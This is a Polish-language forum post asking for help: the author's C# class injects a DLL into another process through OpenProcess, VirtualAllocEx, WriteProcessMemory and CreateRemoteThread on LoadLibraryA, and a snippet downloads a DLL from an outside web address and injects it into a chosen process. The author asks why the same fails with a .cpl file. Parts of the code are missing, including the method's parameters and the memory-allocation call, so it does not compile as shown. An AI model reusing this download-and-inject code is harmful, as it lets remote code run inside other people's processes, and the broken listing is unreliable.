Witam.
Mam taki problem.
Mam plik .cpl który zawiera pewne dane.
Mam też klasę Injector.cs, która wygląda tak:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
//This is used to actually inject the specific DLL into the selected process
namespace MiST
{
public static class Inject
{
private static class WINAPI
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
UInt32 dwDesiredAccess,
Int32 bInheritHandle,
UInt32 dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Int32 CloseHandle(
IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string lpProcName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetModuleHandle(
string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
IntPtr dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Int32 WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] buffer,
uint size,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttribute,
IntPtr dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
public static class VAE_Enums
{
public enum AllocationType
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_RESET = 0x80000,
}
public enum ProtectionConstants
{
PAGE_EXECUTE = 0X10,
PAGE_EXECUTE_READ = 0X20,
PAGE_EXECUTE_READWRITE = 0X40,
PAGE_EXECUTE_WRITECOPY = 0X80,
PAGE_NOACCESS = 0X01
}
}
}
public static bool DoInject(
Process pToBeInjected,
string sDllPath,
out string sError)
{
IntPtr hwnd = IntPtr.Zero;
if (!CRT(pToBeInjected, sDllPath, out sError, out hwnd)) //CreateRemoteThread
{
//close the handle, since the method wasn't able to get to that
if (hwnd != (IntPtr)0)
WINAPI.CloseHandle(hwnd);
return false;
}
int wee = Marshal.GetLastWin32Error();
return true;
}
private static bool CRT(

out string sError,
out IntPtr hwnd)
{

IntPtr hndProc = WINAPI.OpenProcess(
(0x2 | 0x8 | 0x10 | 0x20 | 0x400), //create thread, query info, operation
//write, and read
1,
(uint)pToBeInjected.Id);
hwnd = hndProc;
if (hndProc == (IntPtr)0)
{
sError = "Unable to attatch to process.\n";
sError += "Error code: " + Marshal.GetLastWin32Error();
return false;
}
IntPtr lpLLAddress = WINAPI.GetProcAddress(
WINAPI.GetModuleHandle("kernel32.dll"),
"LoadLibraryA");
if (lpLLAddress == (IntPtr)0)
{
sError = "Unable to find address of \"LoadLibraryA\".\n";
sError += "Error code: " + Marshal.GetLastWin32Error();
return false;
}

hndProc,
(IntPtr)null,
(IntPtr)sDllPath.Length, //520 bytes should be enough
(uint)WINAPI.VAE_Enums.AllocationType.MEM_COMMIT |

(uint)WINAPI.VAE_Enums.ProtectionConstants.PAGE_EXECUTE_READWRITE);
if (lpAddress == (IntPtr)0)
{
if (lpAddress == (IntPtr)0)
{
sError = "Unable to allocate memory to target process.\n";
sError += "Error code: " + Marshal.GetLastWin32Error();
return false;
}
}
byte[] bytes = CalcBytes(sDllPath);
IntPtr ipTmp = IntPtr.Zero;
WINAPI.WriteProcessMemory(
hndProc,
lpAddress,
bytes,
(uint)bytes.Length,
out ipTmp);
if (Marshal.GetLastWin32Error() != 0)
{
sError = "Unable to write memory to process.";
sError += "Error code: " + Marshal.GetLastWin32Error();
return false;
}
IntPtr ipThread = WINAPI.CreateRemoteThread(
hndProc,
(IntPtr)null,
(IntPtr)0,
lpLLAddress,
lpAddress,
0,
(IntPtr)null);
if (ipThread == (IntPtr)0)
{
sError = "Unable to load dll into memory.";
sError += "Error code: " + Marshal.GetLastWin32Error();
return false;
}
return true;
}
private static byte[] CalcBytes(string sToConvert)
{
byte[] bRet = System.Text.Encoding.ASCII.GetBytes(sToConvert);
return bRet;
}
}
}
Gdy chce wstrzyknąć plik .DLL
WebClient cs = new WebClient();
cs.DownloadFile("http://adres.pl/plik.dll", "./temp_files/plik.dll");
f_ps pf = new f_ps(); //Forma wyboru procesu...
pf.ShowDialog(this);
string dllpath = "./temp_files/plik.dll";
string sError = String.Empty;
if (!Inject.DoInject(pApplication, dllpath, out sError))
{
MessageBox.Show("Cannot Inject DLL " + sError + "!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
Wszystko działa jak należy.
Ale gdy chce to zrobić z plikiem .CPL to nie za bardzo działa.
Szukałem w Googlach coś o tym, ale nic nie znalazłem 
Z góry dziękuje za pomoc.
